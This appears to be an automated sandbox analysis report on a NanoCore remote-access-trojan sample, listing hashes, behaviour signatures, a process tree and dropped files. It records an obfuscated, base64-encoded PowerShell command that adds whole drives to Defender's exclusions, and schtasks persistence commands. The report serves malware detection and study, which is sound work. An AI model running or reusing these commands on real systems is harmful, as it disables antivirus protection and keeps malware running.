Analysis

  • max time kernel
    138s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/03/2025, 21:35

General

  • Target

    56643e8d47bf957982131424f5813be5.exe

  • Size

    353KB

  • MD5

    56643e8d47bf957982131424f5813be5

  • SHA1

    3a3f934194846aca94feb191711c310221013cc3

  • SHA256

    fcf8b6406f92a604fa5f8972fc48e55c1790a63abbcb72811984e35515cdf058

  • SHA512

    805f0252c41bee936f96f0584f393d84248dbe1ed8efbc71dd8a5b0246db55e5cfeaf1b50508e8517252bfe2f9a0e9f119a0fbb0d83f9e33714fd3ecc63ac69d

  • SSDEEP

    6144:/2HTwL6csbaj/4vtvL33qzYti59EvgEINhclb/wjVbtzRup1JFD+wMoxrM:/76c4pH8yBvPKC/wjVbt0hFDfPxrM

Malware Config

Signatures

  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Nanocore family
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Delays execution with timeout.exe 6 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56643e8d47bf957982131424f5813be5.exe
    "C:\Users\Admin\AppData\Local\Temp\56643e8d47bf957982131424f5813be5.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4688
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAaABiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAeAByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAdwBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AdwBkACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4428
    • C:\Windows\PW.exe
      "C:\Windows\PW.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2080
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks.exe" /create /f /tn "UDP Monitor" /xml "C:\Users\Admin\AppData\Local\Temp\tmpB6AD.tmp"
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1876
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks.exe" /create /f /tn "UDP Monitor Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmpB77A.tmp"
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3532
    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2204
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\B4E8.tmp\B4E9.tmp\B4EA.bat C:\Users\Admin\AppData\Local\Temp\Loader.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3128
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c echo prompt $E | cmd
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2748
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "
            5⤵
              PID:2556
            • C:\Windows\system32\cmd.exe
              cmd
              5⤵
                PID:3488
            • C:\Windows\system32\chcp.com
              chcp 65001
              4⤵
                PID:1432
              • C:\Windows\system32\mode.com
                mode 76, 30
                4⤵
                  PID:2988
                • C:\Windows\system32\timeout.exe
                  timeout /t 1 /nobreak
                  4⤵
                  • Delays execution with timeout.exe
                  PID:2144
                • C:\Windows\system32\timeout.exe
                  timeout /t 1 /nobreak
                  4⤵
                  • Delays execution with timeout.exe
                  PID:3236
                • C:\Windows\system32\PING.EXE
                  ping /n 1 /w 400 localhost
                  4⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:3220
                • C:\Windows\system32\timeout.exe
                  timeout /t 5 /nobreak
                  4⤵
                  • Delays execution with timeout.exe
                  PID:4532
                • C:\Windows\system32\timeout.exe
                  timeout /t 1 /nobreak
                  4⤵
                  • Delays execution with timeout.exe
                  PID:4400
                • C:\Windows\system32\timeout.exe
                  timeout /t 5 /nobreak
                  4⤵
                  • Delays execution with timeout.exe
                  PID:2624
                • C:\Windows\system32\timeout.exe
                  timeout /t 1 /nobreak
                  4⤵
                  • Delays execution with timeout.exe
                  PID:2640

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\B4E8.tmp\B4E9.tmp\B4EA.bat

            Filesize

            873B

            MD5

            566e6a066b92cfebc3d0335e4040cb4e

            SHA1

            46d51fafe54222520870b8b0152ec21171c9b74d

            SHA256

            32ae4d96a660d1a0e4383d7b589a581d0c6cd20727cf918c787fa695f2820a0e

            SHA512

            c9f8d55845368226163c605c44ce47f92dea81d4d40dfdd317ffb67a0175de1cd9ccd74285fac940974be7bf41642055a79775baae3f766df323c142f8eca556

          • C:\Users\Admin\AppData\Local\Temp\Loader.exe

            Filesize

            117KB

            MD5

            02d696883a7203cc4751705c59bc1e2a

            SHA1

            2ab1c8e52cee860f41342949d9b7cf8d2f1011d9

            SHA256

            5ca70c26ef954b416ca7f7419f8291a5db7db3523139126e5a8e07d3a33ca72c

            SHA512

            0dc4c42e406783946ec279c037c7141839c73cf080e834a12abc3ac4e016af8bc52b712affd539693ddc5f40f3231ac983a9e3c3db5bc4aefadacad2a8efc6bf

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4kqlgskz.dst.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\tmpB6AD.tmp

            Filesize

            1KB

            MD5

            2ffead7bac45fb92c7e7fdd337c3d07d

            SHA1

            cf1335a23b061148d12ab7297b09bc9a028a0e3d

            SHA256

            08f809f86780ba005342a9cbb3ae9a54a3c151a0b494cbcd59fcc53903e705d6

            SHA512

            0f9d3da64b85770e1e8e383071b42d193cd24e2f4e1693a7f4ce98a1e0c92a175c683f69b9ff727abad6161f5ece39f0ea2caa098e24314256a90864192ac178

          • C:\Users\Admin\AppData\Local\Temp\tmpB77A.tmp

            Filesize

            1KB

            MD5

            179f6a368194b3d8490223f22126274b

            SHA1

            cc2997c7fde3cfe0dcf267bf3b6338a7e2ecf2d0

            SHA256

            cdfb59fb9dabcedf57f84d9b3ea596f6ce26f8c559b503b6980a42738cf2f4d8

            SHA512

            8b1c1b2a8db227db2e741171c29e4bfcaad2919665cde77eb5b4058b45fe7c78b46e2ef1bc5b896aa0e172219c4a43b647d68b62db39c8f51ac0ed159e4f042b

          • C:\Windows\PW.exe

            Filesize

            203KB

            MD5

            661853c344c274af24c2d172db42cc9b

            SHA1

            4bf93aa965559f99c85e521f5984cb409591f54c

            SHA256

            54c028b0bb2728975b22d500df2164a3218670a3db6cb8a9a31654fdc2b8a20b

            SHA512

            ebc3286c97af3f8df973842c21422c124160fefeeeda50757f7e41c9b9fb7405d4d25bd11c5e0a31ab90b41482b444aa5a6e2348f1b475a08238e0784bcd2503

          • memory/2080-15-0x00000000736B2000-0x00000000736B3000-memory.dmp

            Filesize

            4KB

          • memory/2080-16-0x00000000736B0000-0x0000000073C61000-memory.dmp

            Filesize

            5.7MB

          • memory/2080-18-0x00000000736B2000-0x00000000736B4000-memory.dmp

            Filesize

            8KB

          • memory/2080-74-0x00000000736B2000-0x00000000736B4000-memory.dmp

            Filesize

            8KB

          • memory/2080-73-0x00000000736B0000-0x0000000073C61000-memory.dmp

            Filesize

            5.7MB

          • memory/2080-72-0x00000000736B2000-0x00000000736B3000-memory.dmp

            Filesize

            4KB

          • memory/4428-46-0x00000000063D0000-0x00000000063EE000-memory.dmp

            Filesize

            120KB

          • memory/4428-60-0x00000000075C0000-0x0000000007663000-memory.dmp

            Filesize

            652KB

          • memory/4428-27-0x0000000005CF0000-0x0000000005D56000-memory.dmp

            Filesize

            408KB

          • memory/4428-41-0x0000000005ED0000-0x0000000006224000-memory.dmp

            Filesize

            3.3MB

          • memory/4428-26-0x0000000005410000-0x0000000005432000-memory.dmp

            Filesize

            136KB

          • memory/4428-24-0x0000000005650000-0x0000000005C78000-memory.dmp

            Filesize

            6.2MB

          • memory/4428-22-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4428-47-0x0000000006410000-0x000000000645C000-memory.dmp

            Filesize

            304KB

          • memory/4428-48-0x00000000069C0000-0x00000000069F2000-memory.dmp

            Filesize

            200KB

          • memory/4428-49-0x0000000073D70000-0x0000000073DBC000-memory.dmp

            Filesize

            304KB

          • memory/4428-59-0x0000000006990000-0x00000000069AE000-memory.dmp

            Filesize

            120KB

          • memory/4428-29-0x0000000005D60000-0x0000000005DC6000-memory.dmp

            Filesize

            408KB

          • memory/4428-61-0x0000000007D40000-0x00000000083BA000-memory.dmp

            Filesize

            6.5MB

          • memory/4428-62-0x0000000007700000-0x000000000771A000-memory.dmp

            Filesize

            104KB

          • memory/4428-63-0x0000000007770000-0x000000000777A000-memory.dmp

            Filesize

            40KB

          • memory/4428-64-0x0000000007990000-0x0000000007A26000-memory.dmp

            Filesize

            600KB

          • memory/4428-65-0x0000000007900000-0x0000000007911000-memory.dmp

            Filesize

            68KB

          • memory/4428-66-0x0000000007940000-0x000000000794E000-memory.dmp

            Filesize

            56KB

          • memory/4428-67-0x0000000007950000-0x0000000007964000-memory.dmp

            Filesize

            80KB

          • memory/4428-69-0x0000000007980000-0x0000000007988000-memory.dmp

            Filesize

            32KB

          • memory/4428-68-0x0000000007A30000-0x0000000007A4A000-memory.dmp

            Filesize

            104KB

          • memory/4428-21-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4428-20-0x0000000002DE0000-0x0000000002E16000-memory.dmp

            Filesize

            216KB

          • memory/4428-17-0x000000007424E000-0x000000007424F000-memory.dmp

            Filesize

            4KB